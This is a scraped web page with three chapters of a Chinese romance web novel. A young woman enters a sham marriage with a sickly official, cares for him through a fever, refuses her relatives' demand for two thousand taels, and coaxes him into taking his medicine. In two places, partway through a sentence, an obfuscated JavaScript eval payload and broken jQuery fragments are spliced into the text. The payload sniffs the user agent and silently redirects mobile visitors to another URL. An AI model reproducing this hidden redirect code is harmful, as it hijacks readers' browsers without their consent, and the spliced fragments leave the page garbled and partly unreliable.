这一刻,林霏清真真实实地感受到了一种,出嫁前的不舍,哪怕是假的,在旁人眼中,她也再不是从前荷花村的林姑娘,她前十六岁的人生,真的就结束了。
隔着扇子,赵婶却好像看穿了她的想法,她低下声,认真道:“别舍不得,好不容易能出去,这是好事。”
不,赵婶,你不知道。
我在撒谎,我是假的。
林霏清深深吸了口气,眼眶有些发酸。
赵婶说得
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16804470|189811||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
对,别舍不得,好不容易能出去,这是好事。
好在有绢扇用以遮面,林霏清才没让旁人看见自己眼圈发红的样子。赵婶之后,又来了许多乡里乡亲,热闹却不失客气为她添彩。
唯独舅母,自始至终没有出现。
林霏清只觉得松了口气。
时间平稳而和缓地向前走去,很快到了吉时,喜婆在外吆喝新郎接亲,秦柳匆匆将盖头为她盖上。
很快,纷乱的人声中,林霏清听到一阵熟悉的脚步声,不疾不徐地向她走来。
不知为何,林霏清的心跳微微加快,她掩在衣袖下的手紧握成拳。
清洌洌的药香味停在面前,随后,一道不由分说的力道将锦缎塞进她手中,一片红的后面,南流景的声音响起:“跟着我,慢慢走。”
微凉的声线,一如他这个人,在喧闹的场合下分外清明,仿佛冬日绝不会塌陷的冰湖。
林霏清瞬间安定下来,顺着他的力道站起身,被牵着上了花轿。
花轿摇摇晃晃地出发了,与此同时,喜乐鞭炮齐奏,敲锣打鼓地往南府去。
一直到此时,林霏清仍有些不切实际之感,短短不到一个月的时间,她的生活便有了翻天覆地的变化。
这一切的一切都是因为,她冒充了南流景的救命恩人。
这是很坏的事,与林霏清从小到大受到的管教冲突,可她一点都不后悔。
林霏清端坐着,双手轻轻搭在膝头。
青绿色的镯子在一片红与白中分外显眼。
林霏清轻轻拂过光滑的镯体,心中已做好打算。
等到表兄成婚,舅舅舅母不再逼她嫁出去,她就向南流景坦白一切。
吹吹打打中,花轿抵达南府,林霏清再次接过南流景手中的红绸,跟着他跨过门槛,按照礼官高唱,顺顺当当地与南流景拜了堂。
“礼成——”
拜堂过后,秦柳扶她进新房。
荷花村一同来的只有赵婶赵叔以及赵书源,除他们外前来观礼的皆是京中宾客,相比来婚房闹婚,他们更想在前厅与南流景说话。
秦柳低声道:“南大人吩咐了,桌上有餐饮,您起得早,困了饿了自便就好。”
林霏清点点头,坐到床边后隔着盖头对秦柳道:“你也辛苦一天了,去外面吃点东西休息会吧,我一个人在这里没事的。”
秦柳轻声笑了笑,道了声“知道”,出去吃了点东西,很快又回来候在门口。
酒席结束得还算早,天刚擦黑,外头的喧嚣声渐渐落了下去。这是林霏清今日第二次听见南流景的脚步声。
他应当没喝酒,步伐一如早晨那般稳当,林霏清听到门被推开又合上,脚步渐近。
盖头下伸来两只节骨分明的手指,轻轻往上一挑,明亮的烛光落入眼底,林霏清忍不住眯了眯眼,终于看清眼前的景象。
南老板少见地穿了艳色,乌发以金冠束起,一日下来有些许凌乱,五官尖锐明丽,被红衣红烛映得多了几分血色,挺拔高瘦,赤色璎珞束在腰间,勾勒出流畅的腰线,整个人是浓墨重彩的漂亮。
林霏清一时呆了呆。
想到早晨,有人说她与南流景有些像。
“怎么,饿傻了?”南流景见她久久不动,主动上前半步,十指轻轻插入她发间。
这是个有些暧昧的动作。
林霏清还没来得及说什么,头顶陡然一轻,沉重的凤冠被取下,如缎的发丝顺势落下,南流景的指尖不可避免地擦过她的颈间。
红烛轻晃,门窗紧闭,室内因多了个人变得暖和了些,林霏清坐在床边,突然觉得有些呼吸不上来。
还未等她细究,南流景便已收回手,一束发丝在他指尖打了个转,他面不改色道:“西间是浴房,你先去洗漱,待会夜宵送来,吃了东西再睡。”
这间院子是南府主院,前几日林霏清并不住在这里,对格局布置还有些陌生:“那您今晚……?”
“成婚第一夜,”南流景偏头看她,忽地轻笑一声,“我自然是要与你睡一处的。”
18. 第 18 章
睡,一处?
是她想的那种,一张床,两人头并头,脚并脚的睡一处吗?
林霏清脑中发散出那幅场景,一时只觉浑身哪里都不对劲起来,方才被南流景无意间擦到的地方更是隐隐发烫。
她深吸口气,努力保持冷静。
今日成亲,少不得要做几分样子,应当的,应当的。
当然,同寝一张床有些不合适,她可以打个地铺什么的?
勉强说服了自己,林霏清轻咳一声,正欲开口,却听南流景缓缓道:“放心,这屋子南边有暖阁,今夜我睡那,明日便去旁的院子。或者你看看喜欢哪里——”他突然停下,盯着她,扬了扬眉,“屋里很热?”
话题转变得突然,林霏清一时没跟上,南流景食指轻轻点了点他的面颊:“你的脸,有点红。”
是吗?有吗?
林霏清扣了扣袖口的金元宝,脑子有点卡壳,下意识顺着南流景的话道:“是有点。”
“这样……”南流景眯了眯眼,很快结束这个话题,“那你早些休息,有什么事叫秦柳就好。”
林霏清点头,而后南流景调转脚步往暖阁方向去,不知是不是错觉,对方转身的刹那,她似乎看到,南流景通红的耳尖。
难道屋里真的很热吗?
木门阖上的声音有些沉重,南流景的脚步彻底远去。
林霏清在床边坐了片刻,到浴室简单洗了洗换了衣裳,回来便见桌上摆着碗馄饨,正冒着热气。
这几日南府的侍从也大多习惯了林霏清安静的性子,若非必要,不会出现在她面前。
林霏清坐在桌前拨弄了几下勺子,突然想起从前参加婚礼时,新郎也总是被灌酒顾不上吃饭。
南流景多半也没来得及好好吃饭,这碗先给他送去吧?
胃里暖和,也好睡得舒服些。
打定主意,林霏清起身,带着那碗馄饨,推开方才南老板走过的门。
暖阁与主屋之间连着一条廊庑,檐下齐齐一排灯笼,明晃晃,微风下轻轻晃悠。
隐约还能听见正堂处宾客尚未散尽的热闹。
廊庑尽头,房门虚掩,里头不见一丝光亮。
已经睡下了?
林霏清端着木盘,站在门前,一时有些犹豫。
按理说屋内已经熄了灯,她不该再打扰,可总有股不太好的预感。
林霏清试探着敲了敲门。
指节刚刚落在木门上,还未用力,门却开了。
门没锁?
林霏清微微探了半个身子进去,借着廊下的光,屋内情景隐约可见。
屋子打理得很干净,只是过分干净,反而不像有人久住,整间屋子只有内侧的床下些许凌乱,躺着两只鞋,再往上,没盖被子,未褪衣袍,熟悉的火红,面朝里侧,侧躺在床上。
林霏清早就知道南老板很瘦,此刻躺在宽敞的床上,整个人更是单薄得不像话。
明明耳边还能听到庆祝婚事的人声,但在这间屋子里,好像一切都失去了活力,只余下一股萦绕鼻尖挥之不去的病败腐烂的死气。
林霏清恍惚间意识到什么,一时顾不上礼数,搁下馄饨,匆匆走到床榻前。
果不其然,床榻之上,南流景双眸紧闭,整张脸布满异样的红。
林霏清探了探他的额头,滚烫得吓人。
怪不得他的耳朵红红的,方才被他碰过的地方那么烫!
“南老板、南老板?”林霏清轻轻晃了晃他的肩,没有得到回应。
阿香说过,发热之人若失去意识,是极危险的情景,稍有不慎便会折损心智。
林霏清不敢耽搁,立刻叫秦柳去请太医。
秦柳虽疑惑新郎怎么跑到暖阁,却也知道轻重缓急,忙去前厅传太医来。
林霏清站在一旁,看着十来位府医团团围聚在床边,每个人面上都是一致焦急与麻木。
如此复杂的情绪,林霏清还是第一次在这么多人脸上看到。
为什么呢?
南流景病得很重吗?
才升起这个想法没一会,为首的太医便过来向她回禀:“夫人,南大人的情况已经控制住了,只要今夜没有再发热,就不会有什么大碍。”
林霏清向后退了半步,听见这句“夫人”才意识到,自己已经成了名义上南流景的妻子,这间宅院的主人。
她轻咳一声,询问道:“辛苦您了,不过好端端的怎么会突然烧起来?”
不论如何,当下最要紧的是把南老板照顾好。
在南府留任的太医姓金,不过三十出头,在论资排辈的太医院算得上年轻,却已有一身高超医术,只是看起来总是怕着什么,有些谨慎得过分。
“这,多半是因为前些日子过于忙碌,今日又吹了风的缘故吧。”
林霏清皱起眉:“只是这样?”
“额。”金太医有些慌张,身子更低了些,“从脉象来看,就是这样的缘故。”
意识到自己让金太医有所负担,林霏清忙道:“不不,我并非责怪您的意思,只是南老板——”
她顿住,在外人面前这样称呼不太合适,但再要改口又显得有些奇怪,只好装作无异的样子继续道:“病得突然,我担心有更严重的病因,既然您与诸位府医都这样说,我也就放心了。”
这样说着,林霏清目光投向依旧在床上紧闭着眼的南流景。
从第一面起,苍白、清瘦,动辄以轮椅代步,身上总是萦绕的药香……比起她,南流景更需要被好好保护。
林霏清收回目光,直起脊背,扫过各位府医,扬起声调:“烦请诸位这几日好好照看南大人,务必使其早日康复。”
这自然是府医的职责所在,但女主人这样叮嘱,也的确使人愈发尽心。
各位府医齐齐躬身:“是。”
……
不得不说,十来个人同时应和,这场面着实有些震撼,林霏清眼皮抖了抖,强撑着,才没有显出怯态。
既已定下诊治方案,便也不用这么多府医守在这里,很快屋内便只余下金太医与另一位府医,看顾着南流景饮下汤药,热度有褪下去的迹象,林霏清微微松了口气,转眸见南流景身边的银元公子站在门口,想了想,走到他身前。
“银元公子。”银元是知道二人成婚背后的真相的,林霏清在他面前不用顾忌称呼,“南老板最近,很忙吗?”
银元微微低下身:“嗯。”
林霏清:“在忙什么呢?”
银元:“公事。”
林霏清:“……”
是银元公子说话就这个习惯,还是,不想告诉她?
停了下,银元却又道:“还有婚事。”
林霏清愣住,她对于整场婚事都没有什么特别深的感触,于她而言不过走个过场,唯一那件嫁衣,能让她窥得几分这场婚事的隆重。
所以这场婚事,也是南流景生病的缘故之一吗?
但其实没必要的,他们都知道这场婚事不过是走投无路下的无奈之举,甚至持续的时间也不过三年,明明没必要在这上面费那么多心思的。
为何要这样做?
林霏清抿了抿唇,莫名有些闷。
银元看着她道:“大人这边有人照顾,时候不早了,您去休息吧。”
“……好。”林霏清回神,轻轻应了一声。
这一觉睡得不太舒服,翌日晨起时脑袋微微发疼,不过听秦柳说,昨夜后半夜,南流景退了热,情况已经稳定下来。
林霏清笑:“是吗?那就好。”
但秦柳看起来面色仍有些凝重,林霏清疑惑地偏了偏头,便听她道:“您的家里人来府上了,现在正在前厅等候。”
林霏清有些讶异:“这么早?”
且不说寻常新妇以图吉庆要成婚三日才与家人见面,这才卯时啊?
秦柳又道:“他们说,有很重要的事要见您。”
他们?来的不止舅母吗?
林霏清沉默了会,佯装无异道:“我知晓了,我会去见他们的,你去忙吧,不用管了。”
秦柳依言退下。
一刻钟后,林霏清前往前厅,见到了赵福与何雁两人。
一段时日不见,他们看起来憔悴了许多,林霏清认得他们身上的衣装,是只有很重要的场合才会穿的,很昂贵的布料。
即便如此,他们坐在南流景的前厅中,看起来仍坐立不安。就如她第一次去金玉楼一般。
看到她的一瞬间,何雁便扑簌簌落下泪来,赵福在一旁颓废地低着头,身形微微颤抖。
林霏清站在门前,一时进也不是退也不是。
半晌,何雁也没有平息的意思,林霏清终还是软下心来,上前几步蹲在她面前,递过去一方丝帕:“舅母,别哭了?”
伸出手的刹那,何雁迅速抓住她的手腕,哽咽道:“霏清,你得救救你表兄啊!”
林霏清:……
有点疼。
何雁哭诉道:“人家说,人家说你表兄,要是再不治好,这辈子就完了,我与你舅舅只有这一个孩子,他要是有事,我,我就不活了!”
先前是听南流景说赵栋的情况不甚乐观,林霏清也不知道到底不乐观到什么地步,但显然,上次舅母来时更多还是生她的气,这次来,却连生气都顾不上了。
林霏清勉强笑了笑:“您别急,表兄如今是什么情况?”
她真的,真的,真的不想管。
至今想到那夜赵栋闯进她屋子,林霏清仍觉得一阵反胃。
但不行,舅舅一家对她是有大恩的。
养育之恩要如何回报?
养育之恩如何才能报完?
林霏清不知道,但她知道,何雁也知道,大家都知道,她没办法看着舅母哭不管。
听她这样说,何雁与赵福面上浮现出喜悦的神情,赵福看着她欣慰道:“好孩子,我们这么多年没白养你。”
何雁渐渐止住泪,只是仍有些抽噎:“我们已为栋儿联系好了郎中,他医术极好,说绝对能治好栋儿,只是我与你舅舅不中用,活了大半辈子,连诊金也付不起。”
“我知道你才成亲,可若不是没办法,我们也不想来打扰你。”
“霏清!救救你表兄吧。”
被握着的手腕疼的厉害,何雁的话听起来也极可怜,林霏清却很难为此感同身受,听着舅母的声音,她甚至有些厌烦。
未免情绪被发现,林霏清轻轻垂下眼,避开何雁的视线:“那您还需要多少钱?”
何雁忙道:“只要两千两银。”
两千两?只要?
林霏清暗暗皱眉。
见她没有直接答应,赵福有些不满:“霏清,你该不会是不愿意吧?”
“且不说是你伤了栋儿,本就该为此负责”他振振有词道,“如今你嫁了南老板,两千两不过是件小事,难道这还要犹豫吗?我和你舅母把你养这么大,没跟你要过一点回报,如今你嫁得高门,总得帮衬这点家里吧?做人不能这么没良心啊。”
林霏清抿唇,舅舅的意思很明显,她拿不出来的钱,就去找南流景要。
可是她已经欺骗南流景,亏欠他良多,怎么可能理直气壮地向他要钱?
再说,两千两,是小事吗?
这明明是,很大的事……
——“但我不想你觉得这是什么大事。”
不合时宜的,林霏清突然想起南流景。
她答应他求亲的那天,南流景说,她可以把钱给舅舅舅母,他不想让她觉得这是什么大事。
此时此刻,面对这两人的请求,林霏清比谁都清楚,哪怕她犹豫,挣扎,可只要他们坚持,她最后还是会把钱送到他们手上。她就是这样一个懦弱而不坚定的人。
而南流景或许会发现,或许不会,或许会怪她,或许不会。
但不论如何,她一定会愧疚,会恐慌,会愈发厌恶自己。然后抱着这样的心态,继续接济舅舅家。
所以,南流景才会在成亲之前就告诉她。
这不是什么大事。
不用愧疚,不用恐慌,不用厌恶自己。
因为这不是什么大事。
林霏清的眼眶突然有些酸,她咬牙,没泄出一丝情绪。
可是,可是,这明明就是,很大的事。
“霏清?霏清?到底行不行,你给个准话啊?”何雁久久未见林霏清反应,拽了拽她的手腕。
林霏清被拽得一个趔趄,一只膝盖磕在地板上。
疼痛使她回过神来,匆忙稳住身形,抬眸,对上何雁的视线,不知怎么,突然有点晕晕乎乎的。
从心底涌出一股冲动。
她得、她得做些什么。
起码不能,让这一家缠上南流景。
林霏清舔了舔唇,轻声开口。
“不可以。”
……
听到这三个字,林霏清才意识到自己说了什么。
她拒绝了。
过往十年中,林霏清不是没有表露过不愿意,但通常她不说出来,何雁赵福就当没看到。
最激烈的一次,是上次她在床上,捅了赵栋。
这是她第一次,直视着何雁的眼睛,清楚明白地表示自己,不愿意。
林霏清感觉心脏重重地跳了一下。
没有那么轻松,但,也没有她想象中那般难。
“不可以,是什么意思?”何雁的手微微颤抖,有些难以置信地看着她。
说出第一次,想要再说一次就没那么难了。
林霏清依旧蹲在何雁面前,仰着头,细声道:“不可以就是,我不会给你们这么多……”
话未说完,余光却见何雁抬起手,林霏清立刻闭上嘴,下意识偏头去躲。
预料中的疼痛却未落下,熟悉的轮椅滚动之声打断了何雁。
门口传来南流景有些烦躁的声音:“发什么疯?”
听见这声音,林霏清有些恍惚,微微睁开眼,抬头看向大门的方向。
太阳已然升起,朝露尽散,金灿灿的日光洒在庭院内,南流景背光坐在门口处,明明单薄又瘦削,却仿若一座山般不可撼动。
或是因为没人应他,南流景啧了一声,语气中的不耐满得要溢出来:“问你话呢,发什么疯?”
这问是向着赵福去的,赵福回过神来,咽了口口水,忙站起身道:“不是我,我也不知这婆娘怎的如此暴躁。”
“唉,还不赶紧把霏清丫头松开!”赵福转向何雁,斥道,“孩子又不是不懂事,肯定是有难处才没办法帮忙的,你在这里添什么乱!”
手上禁锢陡然一松,林霏清撑着地面站起身,双腿一直蹲着有些发麻,但还可以忍受。
赵福笑道:“好孩子,一直蹲在地上跟我们说话,快,坐下歇会。”
舅舅还是第一次这样热切地对她。
整个家里,舅舅是她的亲人,但事实上,林霏清最熟悉的反而是没有一点血缘关系的舅母。
舅母很吵闹,也很爱说话,舅舅与她完全是两个极端。
赵福说着,就要上前揽住林霏清,将她往先前坐的位置上引。
“啧。”
在指尖落到林霏清肩上前一瞬,门外再度响起这样一声。
赵福僵住,有些无措地看向门口,林霏清顺着他的目光看去,南双臂闲闲搭在扶手上,倚在靠背之上,下巴微扬,目光平静,像是看着赵福,又像完全没将他放在眼里。
“手拿开,”南流景语气平淡,嗓音还有些哑,“然后滚蛋。”
赵福有些尴尬,悻悻收回手,往南流景的方向去:“南老板,您是不是对我们有什么误会……”
南流景:“好好说话听不懂是吧?”
任是个傻子也能看出他心情不佳,见状赵福终于畏惧起来,何雁也跑到他身边催促道:“咱们先走吧。”
……
赵福何雁离开后,前厅只剩下他们两人。
林霏清站在原地,因着南流景生气,有些忐忑。
她不该把家里的这些事弄到他面前打扰他的。
南流景盯着她,主动开口:“怎么,吓傻了?”
语气与先前没什么不同,但落入耳中却好像,要更亲昵一些。
林霏清摇摇头。
南流景挑眉:“没傻就过来,推我回房。”
为方便轮椅行走,府内各处道路都修建得平滑流畅。
林霏清推着轮椅走在南流景身后,垂眸,看着他的发顶,突然想起什么:“您不会是,偷跑出来的吧?”
不然屋里府医守着,怎么会让南流景未痊愈就出来?
南流景气笑了:“你就想同我说这个?”
果然,南流景还是在生气。
林霏清老老实实道歉:“对不起,我以后不会让舅舅舅母来府上了。”
“……”
林霏清等了好一会也没再听见南流景回应,也不知道是在气,还是懒得理她。
还是,又昏过去了?
往前走了两步,林霏清终究放不下心,抿了抿唇,轻轻将轮椅往侧方转了转,偏过脑袋去看他的情况。
四目相对。
南流景:“……”
林霏清:“……”
南流景坐在轮椅上,面无表情地回望着她。
眼看南流景启唇要说些什么,林霏清匆忙将轮椅转回去,若无其事地继续向前推去。
面上热度渐渐攀升。
走了两步,前方传来南流景的声音:“我刚刚好像看见你了。”
“嗯。”林霏清强忍着羞臊道,“我也看见您了。”
前方响起一声笑:“那为何现在看不见了?”
装傻是没用了,再说她又不是干什么坏事,林霏清轻咳一声,解释道:“您一直不说话,我有些……”
后面的话突然卡在喉间。
“嗯?”
林霏清闭了闭眼,破罐子破摔道:“担心您。”
“这样啊。”
林霏清看不到南流景的表情,却能听得他拉长的尾音懒洋洋的,像片软软的绒羽。
“那我也是担心你。”
林霏清一怔,心跳微微加快。
还不等她想句回应,南流景又闲闲补了一句。
“所以才偷跑出来的。”
“……”
说话间抵达正院,一个人推轮椅进暖阁有些费劲,南流景便起身,与林霏清一道往屋里走,只是他大病未愈,走得很慢。
南流景主动开口:“那俩人找你来干什么?”
林霏清坦诚答道:“要钱。”
“要多少?”
“两千两。”
南流景偏头瞧她:“你答应了?”
林霏清摇摇头:“没有。”
又是好一阵没听到南流景回应,林霏清转过头,正好对上南老板若有所思的视线。
侍女为二人打起珠帘,南流景率先收回目光:“我倒是没想到。”
林霏清跟在后面笑了笑:“我也没想到。”
正巧早膳呈上,林霏清道了声谢,刚想就坐,却见南流景径直往暖阁方向去,她疑惑道:“您不吃吗?”
南流景脚步未停:“你吃吧,我还得回去吃药。”
果然,南流景是抱病来找她的。
既然如此,林霏清也不好耽误,见南流景背影消失便坐下拿起筷子用膳。
她不爱剩饭,刚来南府时膳食布满整桌,常撑得胃痛,后来秦柳摸清她的食量,便只准备正好能吃完的分量,不教她负担。
但这次桌上膳食一个人吃明显有些多,更像是为两人准备的。
林霏清一边吃一边猜测,南流景应当喝完药就会过来用膳,可一直到吃完,也没听见暖阁那边有什么动静。
眼见再搁置饭都要凉了,林
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16809309|189811||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
霏清叫来秦柳:“南老板的药还没吃完吗?”
秦柳摇摇头:“奴婢不知。”
林姑娘不爱人伺候,南大人身边其实也少有人,谈起府上这位主人,神秘二字最为恰当。
“这样啊。”林霏清点点头,“那我给他送去吧,我这边没什么事,你去休息好了。”
正好趁此机会,同南老板说一下舅舅舅母的事。
秦柳笑:“知道的。”
林霏清提着食盒往暖阁走去。暖阁门留着一条缝,林霏清在门前停住,侧耳,没听见里面有什么动静。
探头悄悄往里看,窗户都闭得严实,里面情景看不太清,但的确不像有人的样子。
府医呢?不是说轮番照顾南流景吗?
林霏清微微皱眉,正欲推开门,却见南流景从内室出来,他还穿着方才的衣袍,神情恹恹,手里端着一个玉碗,能看见里头盛着黑乎乎的汤药。
不会吧,一碗药拖拉到现在都没喝完?
下一瞬,林霏清便看见,南流景面无表情地,将碗中汤药全都倒进了堂屋的落地花瓶中。
林霏清:“!”
那是药吗?为何要倒掉?
林霏清皱起眉。
她觉得不该这样,可她与南流景的关系,也没到她能随意评判他行事的地步。
更何况南流景不想让人瞧见,才会将药倒在那样隐蔽的地方,此时此刻,她现在进去多少有些不合适。
……待会再来吧。
考虑清楚,林霏清直起身就要离开,与此同时,身后却传来银元疑惑的声音:“夫人?您怎么在这?”
……糟糕。
林霏清心凉了半截。
还不待她有什么反应,屋内人便注意到了门口的动静。
脚步声由远及近,而后屋门大开,南流景在门内,看着屋外两人挑了挑眉:“有事?”
银元道:“夫人好像要找您。”
“额。”见两人目光落在自己身上,林霏清干笑一声,稍稍提起手中食盒,“我看您一直不来,便想着将早膳给您带过来,不过您既然与银元公子有事,我便不打扰了。”
说着她缓缓退到一边,却听南流景道:“进来吧,不打扰。”
林霏清看了一眼银元,有些犹豫:“可是……”
南流景面不改色道:“他就是过来溜达溜达,没什么事。”
银元:“是的。”
说着银元欠了欠身,转身离去。南流景见状侧过身子,对林霏清扬了扬下巴:“进来吧。”
林霏清:“……好。”
走到堂屋餐桌前,林霏清将食盒中的早膳悉数取出摆开,递给南流景双筷子:“您应当还没吃饭。”
南流景也不推辞,看了她一眼,接过坐下:“你吃过了?”
林霏清站在一旁点头:“嗯。这是我剩下的。”
“……”南流景盯着林霏清瞧了片刻,终无奈地叹了口气,“坐吧,找我到底什么事?”
林霏清抿了抿唇。她其实不是很想把家里的那些事拿到南流景面前来烦他。
但就算今天把舅舅舅母打发去了,迟早他们还会再找上门来的,最多就是,找个南流景不在的时候。
林霏清深吸口气,坐在南流景对面,小心翼翼道:“以后我还能继续往金玉楼送口脂吗?”
她不能总是拿南流景的钱,赶在下次舅舅舅母找她时,她得有个自己赚钱的路子。
南流景夹了个汤包:“可以。但话说在前头,那两千两我已经想办法送到那俩人手上了。”
“……”林霏清愣了一下,以为自己听错了,“您说什么?”
南流景并未重复,只淡淡地瞥了她一眼:“推辞拒绝的话就别说了。”
林霏清被看得有些不舒服,垂下眼,沉默了会,道:“您不用费心思见他们,这该是我处理好的事情。”
南流景喝了口豆浆:“你钱多还是我钱多。”
林霏清:“……不是这样的道理。”
南流景轻笑一声,搁下碗,语气听起来有几分挑衅意味:“在我这里自然是按我的道理走,婚书已经写下,你就算后悔也迟了。”
林霏清哑口无言。
您钱多的没处花吗?
南流景继续道:“免得你误会,有件事得同你说清楚。”
他的语气有几分严肃,林霏清也不由端坐起来:“您说。”
“我这人不怎么讲道理,也没有以身相许的习惯,向你求娶,就是为了让那些乱七八糟的事远离你。”他说得很慢,足矣让林霏清明白每一个字背后的含义,“所以,哪怕你不愿意,你家中的事我也一定会频繁插手。”
“……”听到最后,林霏清已经一句话都说不出来了。
南流景越体贴,就显得她越卑劣。
这些无时无刻不在提醒她,她是个冒牌货,在卑劣地窃取旁人的善意。
仿佛有块巨石压在她的心口,压得她喘不过气。
林霏清不知道自己是怎么离开暖阁的,回过神时她已经回到前院,秦柳看她闷闷不乐的样子,关切道:“夫人,您看起来不太不高兴?”
林霏清下意识摇头:“没事。”
她只是发现,自己想的有点太简单了。
起先林霏清以为,借着嫁给南流景,摆脱被送到表兄床上的命运就够了,但她没有想到南流景会对她的事这样上心。
她已经欺骗了南流景,对此满心愧疚了,这样下去,她亏欠南流景的只会越来越多。
更糟的是,她想不到自己能做什么来报答南流景。
对于舅舅舅母,她能努力干活挣钱来回报,可南流景什么都不缺,她甚至没办法让自己好过一点。
秦柳闻言只好换个话题:“不过说来,还是您有办法,今日南大人早膳吃了不少呢。”
林霏清不解:“这话是什么意思?”
秦柳说主子坏话眼都不带眨的:“南大人平日饮食极不规律,金太医常私下抱怨,若非如此,也不会总生病。”
听她这样说,林霏清想起方才看到南流景偷偷将汤药倒在花瓶中,以及先前在金玉楼,厉声斥退前来看病的金太医。
南流景好像是那种,很不配合的病人啊。
林霏清迟疑道:“他今日吃了很多吗?”
秦柳道:“相比平日,已经多很多了,南大人果然还是听您的。”
其实应该和她的关系不大。林霏清苦笑。
但这也表示,南流景并非什么都不缺。旁人说的话南老板或许不会听,但“救命恩人”的话,多少会听一点吧?
林霏清隐约有了个想法,向秦柳道:“麻烦你带我去金太医那里,我有些事想问问。”
秦柳歪了歪脑袋,却很高兴看到林霏清心情转好,应道:“您随我来。”
府医院坐落在南府东南角,见到金太医,林霏清才得知今早南流景刚醒,便将所有看顾的府医打发走。
原来不是偷偷跑出来的。
不过也证实了南流景并不配合诸位府医的叮嘱。
她又多问了几句,得知治疗发热的汤药得一日三顿地喝,便道:“往后的药熬好后直接给我送来,我来想办法。”
金太医微怔。
太医院的同僚都羡慕他在南府这个金窝窝里头任职,但其实并没有想象中那般无忧。
诚然,南大人大方,俸禄也比在宫中高,可为人医者,多多少少都有些钱财满足不了的仁心,而南大人在这方面,的确算不上一个好病人。
病人不愿配合,任你有登天的医术都是徒劳,看南流景的身子始终不见起色,金太医心中其实也着急。
没想到成婚第一日,新夫人竟主动前来表示要让南大人按时吃药。
夫人这样说,那必然是有把握的,若能让南大人康健起来,那再好不过。
金太医微微低下身:“那就拜托您了。”
午时将过,林霏清用完午膳,药盅果然送了过来。
虽说信誓旦旦地说要让南流景按时服药,但哪怕现在,林霏清仍没有想到一个切实的办法。
毕竟嘴长在南流景身上,她只能尽量劝说。
而很不巧,她是个不太会说话的人。
热气渐渐散去,汤药的温度逐渐变得适口,再耽搁下去也没意义,林霏清给自己鼓了鼓劲,第三次走上通往暖阁的廊庑。
这次她敲了门,很快里面传来一声熟悉的“进”。
南流景正在用午膳,但他吃得很不专心,一手拿着书折,另一只本该拿着筷子的手,现在正执笔,显然必要时候还会在折子上写两笔。
林霏清记得,南流景生病的缘故之一便是太过辛劳。
她端着药的手微微紧了紧。
南流景抬睫,注意到她手中的药盅,皱眉,看起来有些不高兴:“第三次了,这些活不用你做,我雇人可不是让他们白拿工钱的。”
林霏清看着他眨了眨眼,没理会,转而说起另一件事:“我看见了。”
南流景:“看见什么?”
“您早上的药没吃,偷偷倒了。”
“……”
南流景的面容空白了一瞬,又很快反应过来。
他身子向后靠到椅背上,面容微微绷紧,这是个有些防备的姿态。
“你想说什么?”
按理说南流景面无表情的样子很可怕,但一想到他是那种会把不喜欢的药偷偷倒掉的人,林霏清就不太怕他了。
她走到南流景身边,放下药盅,轻而易举抽走他手中的折子,用商量的语气道:“您看这样好不好?”
“日后您给我金子我就收金子,给我礼物我就收礼物,再也不在您面前说推辞道谢的话。”
南流景来了兴趣,抬眼对上她的视线,微微挑眉:“用什么换?”
林霏清抿唇笑笑,将药盅往他的方向轻轻推了推:“用您以后按时吃药来换。”
19. 第 19 章
“夫人,怎么样,南大人答应了吗?”见林霏清回到西屋,秦柳好奇地上前询问。
林霏清迟疑道:“他没直说,但喝了药,我也不知这是答应了还是没答应。”
秦柳也未料到会是这个反应,一时亦有些茫然:“您没多问问吗?”
林霏清苦笑,她其实也没有胆大到那种地步。
两人正说着,却听得堂屋处传来动静,林霏清提裙出去看时,正看到南流景一边穿外袍一边往外走。
对上她的视线,南流景稍稍顿了顿,主动开口:“有点事,出去一趟。”
大病未愈便急着出门,想来是很重要的事。
林霏清沉默了会,温声道:“您路上小心。”
“……嗯。”
南流景略略点头,收回目光,平静地转身离开。
目送他离去,林霏清唇角渐渐落下。
涌起一种很难描述的情绪,有点沮丧,又有点郁闷。
停了一会,林霏清轻舒口气,转身往屋里走,一边说起另一件事:“对了,劳烦你帮我寻些东西来,我想做些口脂。”
她一一说了制口脂所需的物件,秦柳悉数应下,末了多说了一句:“虽说您先前有往金玉楼供货,但如今实在没必要这样辛苦。”
林霏清笑了笑:“我知晓的。”
但她很缺钱。
这话没必要告诉秦柳。
事情便这样过去,林霏清睡了个午觉,醒来也还早。在床边呆坐了会,恰秦柳将制作口脂的材料准备好,趁着下午天气晴朗,林霏清坐在窗边,一边发呆,一边做着口脂,慢慢打发时间。
日头渐渐偏西,六月的天,到了傍晚也是不冷的,几只萤火自灌木花丛中散出,慢悠悠地飞着。
晚膳好后,秦柳来请她用膳。
林霏清应道:“就来。”
说着又看了眼庭院,薄暮冥冥中,景象一如先前,并未有什么变化。
林霏清颤了颤睫,若无其事地收回视线,放下手中的器具去饭厅用膳。
晚膳是面,不知用了什么法子,明明只是简单的素面,却难得的鲜美。
林霏清吃了两碗。
吃罢她歇了一会,起身方才研磨好的花末收在瓷盅中,而后又悉数搁在阴凉通风处。
从前在家里总闲不下来,制作口脂这种事只能在夹缝中抽空,时间猛然变得绰绰有余,林霏清反倒有些不适应。
庭院中有供人纳凉休息的藤椅,林霏清中午睡了会,现在还不困,便调转脚步,轻轻躺在躺椅上。
藤椅坐落在枫树的树荫下,仰头看去,能看到一片郁郁葱葱的枝叶,穿过间隙,灿烂的星海隐约可见。
